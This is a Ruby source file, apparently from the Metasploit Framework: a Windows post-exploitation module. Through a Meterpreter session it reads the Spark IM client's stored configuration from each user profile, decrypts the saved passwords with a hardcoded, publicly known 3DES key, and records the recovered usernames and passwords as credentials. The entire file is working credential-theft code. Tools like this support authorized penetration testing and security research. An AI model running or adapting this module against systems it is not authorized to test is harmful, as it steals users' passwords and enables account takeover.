metasploit-framework/modules/post/windows/gather/credentials/spark_im.rb

144 lines
3.8 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'openssl'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::UserProfiles
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Gather Spark IM Password Extraction',
'Description' => %q{
This module will enumerate passwords stored by the Spark IM client.
The encryption key is publicly known. This module will not only extract encrypted
password but will also decrypt password using public key.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>',
'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>'
],
'SessionTypes' => [ 'meterpreter' ],
'References' =>
[
[ 'URL', 'http://adamcaudill.com/2012/07/27/decrypting-spark-saved-passwords/']
]
))
end
# decrypt spark password
def decrypt(hash)
# code to decrypt hash with KEY
encrypted = hash.unpack("m")[0]
key = "ugfpV1dMC5jyJtqwVAfTpHkxqJ0+E0ae".unpack("m")[0]
cipher = OpenSSL::Cipher::Cipher.new 'des-ede3'
cipher.decrypt
cipher.key = key
password = cipher.update encrypted
password << cipher.final
password = ::Rex::Text.to_utf8(password)
user, pass = password.scan(/[[:print:]]+/)
cred_opts = {}
if pass.nil? or pass.empty?
print_status("Username found: #{user}, but no password")
cred_opts.merge!(user: user)
else
print_good("Decrypted Username #{user} Password: #{pass}")
cred_opts.merge!(user: user, password: pass)
end
cred_opts.merge!(
ip: client.sock.peerhost,
port: 5222,
service_name: 'spark'
)
report_cred(cred_opts)
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
post_reference_name: self.refname,
session_id: session_db_id,
origin_type: :session,
username: opts[:user],
private_type: :password
}.merge(service_data)
if opts[:password]
credential_data.merge!(
private_data: opts[:password],
)
end
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
}.merge(service_data)
create_credential_login(login_data)
end
# main control method
def run
grab_user_profiles().each do |user|
unless user['AppData'].nil?
accounts = user['AppData'] + "\\Spark\\spark.properties"
# open the file for reading
config = client.fs.file.new(accounts, 'r') rescue nil
next if config.nil?
print_status("Config found for user #{user['UserName']}")
# read the contents of file
contents = config.read
# look for lines containing string 'password'
password = contents.split("\n").grep(/password/)
if password.nil?
# file doesn't contain a password
print_status("#{file} does not contain any saved passwords")
# close file and return
config.close
return
end
# store the hash close the file
password = password.delete_if {|e| e !~ /password.+=.+=\r/}
password.each do | pass |
if pass.nil?
next
end
hash = pass.split("password").join.chomp
vprint_status("Spark password hash: #{hash}")
# call method to decrypt hash
decrypt(hash)
end
config.close
end
end
end
end